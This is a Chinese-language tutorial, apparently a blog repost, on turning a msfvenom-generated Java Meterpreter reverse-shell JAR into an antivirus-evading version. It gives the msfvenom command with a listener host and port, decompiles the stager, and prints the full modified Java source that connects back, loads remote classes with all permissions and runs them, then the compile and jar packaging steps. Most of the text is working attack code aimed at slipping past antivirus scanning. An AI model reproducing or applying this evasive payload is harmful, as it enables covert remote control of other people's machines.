前言

公众号看到的文章,说生成的jar包来上线机器,C看不懂java利用AI还可以看吧。

生成SHELL

利用kali生成反弹shell的JAR包:

命令:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.88.206 LPORT=4444 > 1.jar

通过解包和使用反编译工具进行查看源码。

反编译,直接将生成的1.jar包放入反编译工具中jd-gui.jar中,直接将1.jar拖入该工具窗口即可。

然后选择保存源码导出即可:

源码分析

将源码放入vscode即可查看并修改,结合阿里的通义灵码插件进行学习。

解码后的文件结构:

1 -->META-INF

-->MANIFEST.MF

-->metasploit

-->Payload.java

-->metasploit.dat

Payload.java中的主要程序是:

if (i > 0) {
      // 减少"Spawn"属性值(为的是能够执行else中的语句)
      properties.setProperty("Spawn", String.valueOf(i - 1));
      // 创建临时文件和目录结构
      File file1 = File.createTempFile("~spawn", ".tmp");
      file1.delete();
      File file2 = new File(file1.getAbsolutePath() + ".dir");
      File file3 = new File(file2, "metasploit.dat");
      File file4 = new File(file2, str1);
      file4.getParentFile().mkdirs();
      // 写入嵌入式文件和可能的附加类
      writeEmbeddedFile(clazz, str1, file4);
      if (properties.getProperty("URL", "").startsWith("https:"))
        writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(file4.getParentFile(), "PayloadTrustManager.class")); 
      if (properties.getProperty("AESPassword", (String)null) != null)
        writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(file4.getParentFile(), "AESEncryption.class")); 
      // 保存更新后的属性文件
      FileOutputStream fileOutputStream = new FileOutputStream(file3);
      properties.store(fileOutputStream, "");
      fileOutputStream.close();
      // 执行新的Java进程
      Process process = Runtime.getRuntime().exec(new String[] { getJreExecutable("java"), "-classpath", file2.getAbsolutePath(), clazz.getName() });
      process.getInputStream().close();
      process.getErrorStream().close();
      Thread.sleep(2000L);
      // 删除临时文件和目录
      File[] arrayOfFile = { file4, file4.getParentFile(), file3, file2 };
      for (byte b = 0; b < arrayOfFile.length; b++) {
        for (byte b1 = 0; b1 < 10 && !arrayOfFile[b].delete(); b1++) {
          arrayOfFile[b].deleteOnExit();
          Thread.sleep(100L);
        } 
      } 
    } else if (str3 != null) {
		...
    } else {
      // 根据配置执行不同的输入输出流操作
      OutputStream outputStream;
      int j = Integer.parseInt(properties.getProperty("LPORT", "4444"));
      String str4 = properties.getProperty("LHOST", (String)null);
      String str5 = properties.getProperty("URL", (String)null);
      InputStream inputStream1 = null;
      if (j <= 0) {
        inputStream1 = System.in;
        outputStream = System.out;
      } else if (str5 != null) {
        if (str5.startsWith("raw:")) {
          inputStream1 = new ByteArrayInputStream(str5.substring(4).getBytes("ISO-8859-1"));
        } else if (str5.startsWith("http")) {
          URLConnection uRLConnection = (new URL(str5)).openConnection();
          if (str5.startsWith("https:"))
            Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", new Class[] { URLConnection.class }).invoke(null, new Object[] { uRLConnection }); 
          addRequestHeaders(uRLConnection, properties);
          inputStream1 = uRLConnection.getInputStream();
        } 
        outputStream = new ByteArrayOutputStream();
      } else {
        Socket socket;
        if (str4 != null) {
          socket = new Socket(str4, j);
        } else {
          ServerSocket serverSocket = new ServerSocket(j);
          socket = serverSocket.accept();
          serverSocket.close();
        } 
        inputStream1 = socket.getInputStream();
        outputStream = socket.getOutputStream();
      } 
      String str6 = properties.getProperty("AESPassword", (String)null);
      if (str6 != null) {
        Object[] arrayOfObject = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", new Class[] { InputStream.class, OutputStream.class, String.class }).invoke(null, new Object[] { inputStream1, outputStream, str6 });
        inputStream1 = (InputStream)arrayOfObject[0];
        outputStream = (OutputStream)arrayOfObject[1];
      } 
      // 分析命令行参数并调用Payload的bootstrap方法
      StringTokenizer stringTokenizer = new StringTokenizer("Payload -- " + properties.getProperty("StageParameters", ""), " ");
      String[] arrayOfString = new String[stringTokenizer.countTokens()];
      for (byte b = 0; b < arrayOfString.length; b++)
        arrayOfString[b] = stringTokenizer.nextToken(); 
      (new Payload()).bootstrap(inputStream1, outputStream, properties.getProperty("EmbeddedStage", (String)null), arrayOfString);
    } 

该程序的逻辑是,Spawn=i=2,当i>0时执行i-1并执行创建文件并执行子进程。当if语句和elseif语句都不满足的话就会执行else中的程序,else中的程序是连接监听服务的,这只是简单的程序执行过程。

对生成的可执行文件使用火绒扫描:

修改源码特征

将源码中的metasploit和payload等特征都进行替换或者编码处理,这里只进行了简单的替换。

对源码的包名和类名进行替换和修改,并删除程序多余的判断语句。

修改文件名,修改后的文件结构:

test1-->META-INF

-->MANIFEST.MF

-->test

-->test.java

-->test.dat

源码中也进行向对应的替换,并删除无用的语句。修改后的源码:

package test;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.util.Enumeration;
import java.util.Locale;
import java.util.Properties;
import java.util.Stack;
import java.util.StringTokenizer;

public class test extends ClassLoader {
  private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
  
  private static final String PATH_SEP = System.getProperty("path.separator");
  
  private static final boolean IS_AIX = "aix".equals(OS_NAME);
  
  private static final boolean IS_DOS = PATH_SEP.equals(";");
  
  private static final String JAVA_HOME = System.getProperty("java.home");

  public static void main(String[] paramArrayOfString) throws Exception {
    Properties properties = new Properties();
    
    Class<test> clazz = test.class;
    
    String str1 = clazz.getName().replace('.', '/') + ".class";

    InputStream inputStream = clazz.getResourceAsStream("/test.dat");
    
    if (inputStream != null) {
      properties.load(inputStream);
      inputStream.close(); 
    } 
    
    
    int i = Integer.parseInt(properties.getProperty("Spawn", "0"));
    String str3 = properties.getProperty("DroppedExecutable");
    if (i > 0) {
      properties.setProperty("Spawn", String.valueOf(i - 1));
      File file1 = File.createTempFile("~spawn", ".tmp");
      file1.delete();
      File file2 = new File(file1.getAbsolutePath() + ".dir");
      File file3 = new File(file2, "test.dat");
      File file4 = new File(file2, str1);
      file4.getParentFile().mkdirs(); 
      writeEmbeddedFile(clazz, str1, file4); 
      
      FileOutputStream fileOutputStream = new FileOutputStream(file3);
      properties.store(fileOutputStream, "");
      fileOutputStream.close();
      
      Process process = Runtime.getRuntime().exec(new String[] { getJreExecutable("java"), "-classpath", file2.getAbsolutePath(), clazz.getName() });
      process.getInputStream().close();
      process.getErrorStream().close();
      Thread.sleep(2000L);
      File[] arrayOfFile = { file4, file4.getParentFile(), file3, file2 };
      for (byte b = 0; b < arrayOfFile.length; b++) {
        for (byte b1 = 0; b1 < 10 && !arrayOfFile[b].delete(); b1++) {
          arrayOfFile[b].deleteOnExit();
          Thread.sleep(100L);
        } 
      } 
    } else if (str3 != null) {
      File file = new File(str3);
      if (!IS_DOS) {
        try {
          try {
            File.class.getMethod("setExecutable", new Class[] { boolean.class }).invoke(file, new Object[] { Boolean.TRUE });
          } catch (NoSuchMethodException noSuchMethodException) {
            Runtime.getRuntime().exec(new String[] { "chmod", "+x", str3 }).waitFor();
          } 
        } catch (Exception exception) {
          exception.printStackTrace();
        }  
      }  
      Runtime.getRuntime().exec(new String[] { str3 });
      if (!IS_DOS) {
        file.delete(); 
        file.getParentFile().delete(); 
      } 
    } else {
      OutputStream outputStream;
      int j = Integer.parseInt(properties.getProperty("LPORT", "4444"));
      String str4 = properties.getProperty("LHOST", (String)null);
      String str5 = properties.getProperty("URL", (String)null);
      InputStream inputStream1 = null;
      
      if (j <= 0) {
        inputStream1 = System.in;
        outputStream = System.out;
      } else if (str5 != null) {
        if (str5.startsWith("raw:")) {
          inputStream1 = new ByteArrayInputStream(str5.substring(4).getBytes("ISO-8859-1"));
        } else if (str5.startsWith("http")) {
          URLConnection uRLConnection = (new URL(str5)).openConnection();
          
          if (str5.startsWith("https:"))
            Class.forName("test.PayloadTrustManager").getMethod("useFor", new Class[] { URLConnection.class }).invoke(null, new Object[] { uRLConnection }); 
          
          addRequestHeaders(uRLConnection, properties); 
          inputStream1 = uRLConnection.getInputStream();
        } 
        outputStream = new ByteArrayOutputStream();
      } else {
        Socket socket;
        if (str4 != null) {
          socket = new Socket(str4, j);
        } else {
          ServerSocket serverSocket = new ServerSocket(j);
          socket = serverSocket.accept();
          serverSocket.close();
        } 
        inputStream1 = socket.getInputStream();
        outputStream = socket.getOutputStream();
      } 
      
      StringTokenizer stringTokenizer = new StringTokenizer("Payload -- " + properties.getProperty("StageParameters", ""), " ");
      String[] arrayOfString = new String[stringTokenizer.countTokens()];
      for (byte b = 0; b < arrayOfString.length; b++)
        arrayOfString[b] = stringTokenizer.nextToken(); 
      
      (new test()).bootstrap(inputStream1, outputStream, properties.getProperty("EmbeddedStage", (String)null), arrayOfString);
    } 
  }

  private static void addRequestHeaders(URLConnection paramURLConnection, Properties paramProperties) {
    Enumeration<?> enumeration = paramProperties.propertyNames();
    while (enumeration.hasMoreElements()) {
      Object object = enumeration.nextElement();
      if (object instanceof String) {
        String str = (String)object;
        if (str.startsWith("Header"))
          paramURLConnection.addRequestProperty(str.substring(6), paramProperties.getProperty(str)); 
      } 
    } 
  }

  private static void writeEmbeddedFile(Class paramClass, String paramString, File paramFile) throws FileNotFoundException, IOException {
    InputStream inputStream = paramClass.getResourceAsStream("/" + paramString);
    FileOutputStream fileOutputStream = new FileOutputStream(paramFile);
    byte[] arrayOfByte = new byte[4096];
    int i;
    while ((i = inputStream.read(arrayOfByte)) != -1)
      fileOutputStream.write(arrayOfByte, 0, i); 
    fileOutputStream.close();
  }

  private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream, String paramString, String[] paramArrayOfString) throws Exception {
    try {
      Class<?> clazz;
      DataInputStream dataInputStream = new DataInputStream(paramInputStream);
      Permissions permissions = new Permissions();
      permissions.add(new AllPermission());
      ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new java.security.cert.Certificate[0]), permissions);
      if (paramString == null) {
        int i = dataInputStream.readInt();
        do {
          byte[] arrayOfByte = new byte[i];
          dataInputStream.readFully(arrayOfByte);
          resolveClass(clazz = defineClass(null, arrayOfByte, 0, i, protectionDomain));
          i = dataInputStream.readInt();
        } while (i > 0);
      } else {
        clazz = Class.forName("javapayload.stage." + paramString);
      } 
      Object object = clazz.newInstance();
      clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(object, new Object[] { dataInputStream, paramOutputStream, paramArrayOfString });
    } catch (Throwable throwable) {
      throwable.printStackTrace(new PrintStream(paramOutputStream));
    } 
  }

  private static String getJreExecutable(String paramString) {
    File file = null;
    if (IS_AIX)
      file = findInDir(JAVA_HOME + "/sh", paramString); 
    if (file == null)
      file = findInDir(JAVA_HOME + "/bin", paramString); 
    return (file != null) ? file.getAbsolutePath() : addExtension(paramString);
  }


  private static String addExtension(String paramString) {
    return paramString + (IS_DOS ? ".exe" : "");
  }


  private static File findInDir(String paramString1, String paramString2) {
    File file1 = normalize(paramString1);
    File file2 = null;
    if (file1.exists()) {
      file2 = new File(file1, addExtension(paramString2));
      if (!file2.exists())
        file2 = null; 
    } 
    return file2;
  }

  private static File normalize(String paramString) {
    Stack<String> stack = new Stack<>();
    String[] arrayOfString = dissect(paramString);
    stack.push(arrayOfString[0]);
    StringTokenizer stringTokenizer = new StringTokenizer(arrayOfString[1], File.separator);
    while (stringTokenizer.hasMoreTokens()) {
      String str = stringTokenizer.nextToken();
      if (".".equals(str))
        continue; 
      if ("..".equals(str)) {
        if (stack.size() < 2)
          return new File(paramString); 
        stack.pop();
        continue;
      } 
      stack.push(str);
    } 
    StringBuilder stringBuilder = new StringBuilder();
    for (int b = 0; b < stack.size(); b++) {
      if (b > 1)
        stringBuilder.append(File.separatorChar); 
      stringBuilder.append(stack.elementAt(b));
    } 
    return new File(stringBuilder.toString());
  }

  private static String[] dissect(String paramString) {
    char c = File.separatorChar;
    paramString = paramString.replace('/', c).replace('\\', c);
    String str = null;
    int i = paramString.indexOf(':');
    if (i > 0 && IS_DOS) {
      int j = i + 1;
      str = paramString.substring(0, j);
      char[] arrayOfChar = paramString.toCharArray();
      str = str + c;
      j = (arrayOfChar[j] == c) ? (j + 1) : j;
      StringBuilder stringBuilder = new StringBuilder();
      for (int k = j; k < arrayOfChar.length; k++) {
        if (arrayOfChar[k] != c || arrayOfChar[k - 1] != c)
          stringBuilder.append(arrayOfChar[k]); 
      } 
      paramString = stringBuilder.toString();
    } else if (paramString.length() > 1 && paramString.charAt(1) == c) {
      int j = paramString.indexOf(c, 2);
      j = paramString.indexOf(c, j + 1);
      str = (j > 2) ? paramString.substring(0, j + 1) : paramString;
      paramString = paramString.substring(str.length());
    } else {
      str = File.separator;
      paramString = paramString.substring(1);
    } 
    return new String[] { str, paramString };
  }
}

对源码进行编译处理,进入test.java所在目录,执行后会生成test.class:

j

如果想要测试该test.class文件可进入,包含test目录的父目录内进行执行:

java -cp . test.test

既然修改后的可以执行成功,那么就打包成jar文件再次扫描并执行,进入包含test1目录的父目录中执行(我这里还是test目录):

jar cvfm myapp.jar test/META-INF/MANIFEST.MF -C test/ .

在打包前记得修改MANIFEST.MF 清单文件,里面有程序入口。

执行新生成的jar文件,查看连接成功。

再次检测该新生成的jar文件:

结束